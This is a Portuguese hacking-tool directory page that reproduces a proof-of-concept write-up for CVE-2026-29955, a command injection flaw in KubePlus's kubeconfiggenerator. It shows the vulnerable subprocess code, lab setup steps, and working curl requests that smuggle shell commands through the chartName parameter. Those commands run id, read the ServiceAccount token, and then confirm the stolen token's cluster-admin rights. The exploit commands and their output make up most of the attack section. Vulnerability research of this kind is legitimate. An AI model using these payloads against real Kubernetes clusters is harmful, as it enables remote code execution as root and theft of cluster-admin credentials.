Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-29955 — Prova de conceito para CVE-2026-29955, uma vulnerabilidade de injeção de comandos no KubePlus kubeconfiggenerator que permite execução remota de código e roubo de tokens de ServiceAccount em clusters Kubernetes. | Kitploit
Ferramentas/GitHubGitHub/b0b0haha/cve-2026-29955
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança na Nuvem
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

Prova de conceito para CVE-2026-29955, uma vulnerabilidade de injeção de comandos no KubePlus kubeconfiggenerator que permite execução remota de código e roubo de tokens de ServiceAccount em clusters Kubernetes.

Ver Repositório
17há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade de Injeção de Comandos no KubeconfigGenerator do KubePlus

Esta vulnerabilidade existe no componente kubeconfiggenerator do KubePlus, permitindo que atacantes com acesso à interface HTTP injetem comandos shell através do parâmetro chartName, executem código arbitrário como root dentro do contêiner e roubem Tokens de ServiceAccount com privilégios de cluster-admin. Classificação CWE recomendada: CWE-78 (Injeção de Comandos do SO).

Resumo

O endpoint /registercrd no componente kubeconfiggenerator do KubePlus é vulnerável a injeção de comandos. O componente usa subprocess.Popen() com o parâmetro shell=True para executar comandos shell, e o parâmetro chartName fornecido pelo usuário é diretamente concatenado na string de comando sem qualquer sanitização ou validação. Um atacante pode injetar comandos shell arbitrários criando um valor malicioso para o parâmetro chartName.

Detalhes

Causa Raiz

Ao processar solicitações de registro de CRD, o componente kubeconfiggenerator baixa e extrai Helm Charts. Na função download_and_untar_chart(), o parâmetro chartName é diretamente concatenado em comandos shell:

Arquivo: deploy/kubeconfiggenerator.py:60-69

def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

Arquivo: deploy/kubeconfiggenerator.py:554

wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

Arquivo: deploy/kubeconfiggenerator.py:562

cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

Devido ao parâmetro shell=True, atacantes podem usar a sintaxe de substituição de comandos shell $(command) para injetar comandos arbitrários.

Vetor de Ataque

Ao enviar uma solicitação HTTP para o endpoint /registercrd com um parâmetro chartName malicioso, um atacante pode executar comandos arbitrários dentro do contêiner kubeconfiggenerator. Como o contêiner roda como root e seu ServiceAccount tem privilégios de cluster-admin, o atacante pode:

  1. Executar comandos arbitrários do sistema
  2. Ler arquivos sensíveis dentro do contêiner
  3. Roubar Tokens de ServiceAccount
  4. Usar Tokens roubados para acessar a API do Kubernetes

PoC

Configuração do Ambiente

1. Criar Cluster Kind

# Criar configuração do cluster Kind
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# Criar cluster
kind create cluster --config kind-config.yaml

# Verificar cluster
kubectl cluster-info
kubectl get nodes

Saída esperada:

Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. Instalar KubePlus

# Criar diretório de trabalho
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# Baixar plugins do KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# Baixar script provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Configurar ambiente Python
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# Obter endereço do servidor da API
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# Criar provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default

Saída esperada:

Provider kubeconfig created: kubeplus-saas-provider.json

3. Instalar KubePlus via Helm

# Baixar Helm chart do KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# Instalar KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# Aguardar pods ficarem prontos
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# Verificar instalação
kubectl get pods -n default -l app=kubeplus

Saída esperada:

NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. Configurar Encaminhamento de Porta

# Obter nome do pod
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# Configurar encaminhamento de porta
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# Verificar se o serviço está acessível
curl -s http://localhost:5005/hello

Saída esperada:

hello world

Etapas de Exploração

Etapa 1: Executar Injeção de Comando (comando id)

Enviar uma solicitação com parâmetro chartName malicioso:

curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

Etapa 2: Verificar Execução do Comando

kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

Saída real de verificação:

uid=0(root) gid=0(root) groups=0(root)

Etapa 3: Roubar Token de ServiceAccount

curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

Etapa 4: Extrair Token Roubado

kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

Saída real de verificação:

eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

Etapa 5: Verificar Permissões do Token

STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

Saída real de verificação:

Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

Evidências de Log no Lado do Servidor

Os logs do contêiner kubeconfiggenerator mostram a injeção de comando sendo executada:

Baixar ferramenta